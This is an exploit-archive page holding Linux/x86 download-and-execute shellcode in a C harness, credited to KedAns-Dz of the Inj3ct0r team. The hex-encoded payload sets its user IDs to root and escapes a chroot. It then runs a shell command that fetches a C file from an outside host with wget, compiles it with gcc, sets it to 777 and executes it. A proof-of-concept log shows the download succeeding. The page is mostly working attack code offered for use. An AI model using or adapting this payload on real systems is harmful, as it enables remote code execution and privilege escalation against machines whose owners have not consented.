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Linux/x86 Download/Execute Shellcode

Linux/x86 Download/Execute Shellcode
Posted Apr 1, 2013
Authored by KedAns-Dz

224 bytes small Linux/x86 command download and execute shellcode.

tags | x86, shellcode
systems | linux
MD5 | 0ababc6100b2bd6ab3838a023c01cae1

Linux/x86 Download/Execute Shellcode

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/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : Linux/x86 CMD[wget,mv,gcc,chmod] Download and exec() - sc_224 bytes
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : Linux/x86 Shellcode
# Type : shellcode - local/remote
# Tested on : Ubuntu 10.10
###

# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !
*/

/* Shellcode dxx86-sck3d.c *///==========>

#include <stdio.h>

// Linux/x86 CMD[wget,mv,gcc,chmod] Download and exec() - sc_224 bytes

char sc[] =
// Setresuid(0,0,0)

"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\xf7\xe3"
"\xb0\xa4" // mov %al,$0x0a4
"\xcd\x80" // int 0x80
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int 0x80
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int 0x80
"\x6a\x3d" // push $0x3d
"\x89\xe3" // mov %ebx,%esp
"\x6a\x27" // push $0x27
"\x58" // pop %eax
"\xcd\x80" // int 0x80
"\x89\xd9" // mov %ecx,%ebx
"\x58" // pop %eax
"\xcd\x80" // int 0x80
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x66\x68\x2e\x2e" // push $0x2e2e
"\x89\xe3" // mov %ebx,%esp
"\x6a\x3d" // push $0x3d
"\x59" // pop %ecx
"\xb0\x0c" // mov %al,$0x0c
"\xcd\x80" // int $0x80
"\xe2\xfa" // loopd
"\x6a\x3d" // push $0x3d
"\x89\xd9" // mov %ecx,%ebx
"\x58" // pop %eax
"\xcd\x80" // int 0x80
"\x6a\x0b" // push $0x0b
"\x58" // pop %eax
"\x99" // cdq
"\x52" // push %edx
"\x66\x68\x2d\x63" // push $0x632d
"\x89\xe7" //mov %edi,%esp
"\x68\x2f\x73\x68\x00" //push $0x68732f
"\x68\x2f\x62\x69\x6e" //push $0x6e69622f
"\x89\xe3" // mov %ebx,%esp
"\x52" // push %edx
// call_ [exev()]
"\xe8\x72\x00\x00\x00"
//----------------------
// WGET http://asylumspecimens.olympe.in/upload/k.c | file download
"\x77\x67\x65\x74\x20\x68\x74\x74\x70"
"\x3a\x2f\x2f\x61\x73\x79\x6c\x75\x6d\x73\x70\x65\x63\x69\x6d"
"\x65\x6e\x73\x2e\x6f\x6c\x79\x6d\x70\x65\x2e\x69\x6e\x2f\x75"
"\x70\x6c\x6f\x61\x64\x2f\x6b\x2e\x63\x3b"
//----------------------
// Rename k.c to khaled.c
"\x6d\x76\x20\x6b\x2e"
"\x63\x20\x6b\x68\x61\x6c\x65\x64\x2e\x63\x3b"
//----------------------
// gcc khaled.c -o kedans
"\x67\x63\x63\x20"
"\x6b\x68\x61\x6c\x65\x64\x2e\x63\x20\x2d\x6f\x20\x6b\x65\x64"
"\x61\x6e\x73\x3b"
//----------------------
// Chmod 777 kedans
"\x63\x68\x6d\x6f\x64\x20\x37\x37\x37\x20\x6b"
"\x65\x64\x61\x6e\x73\x3b"
//----------------------
// Execv ./kedans
"\x2e\x2f\x6b\x65\x64\x61\x6e\x73\x00"
//----------------------
"\x57" // push %edi
"\x53" // push %ebx
"\x89\xe1" // mov %ecx,%esp
"\xcd\x80" // int 0x80
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x01" // push $0x01
"\x58" // pop %eax
"\xcd\x80"; // int 0x80

int main()
{
int (*dz)() = (int(*)())sc;
printf("Size: %u Bytes\n", strlen(sc));
dz();
}

// P.0.C Results
/*

kedans@1337day:~# ./dxx86-sck3d
Size: 224 Bytes.
--2013-03-17 00:57.53-- http://asylumspecimens.olympe.in/upload/k.c
Resolving asylumspecimens.olympe.in (asylumspecimens.olympe.in)... 87.98.145.199, 91.121.61.12
Connecting to asylumspecimens.olympe.in (asylumspecimens.olympe.in)|87.98.145.199|:80... connected
HTTP request sent, awaiting response... 200 OK
Length: 146 [text/x-csrc]
Saving to: 'k.c.1'

100%[====================================>] 146 --.-K/s in 0s

2013-03-17 00:57:53 (3.72 MB/s) - 'k.c.1' saved [146/146]

Linux/x86 Download & Exec - with CHMOD and GCC Coded By KedAns-Dz | Inj3ct0r Team
kedans@1337day:~#

*/

/*
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
#============================================================================================================*/

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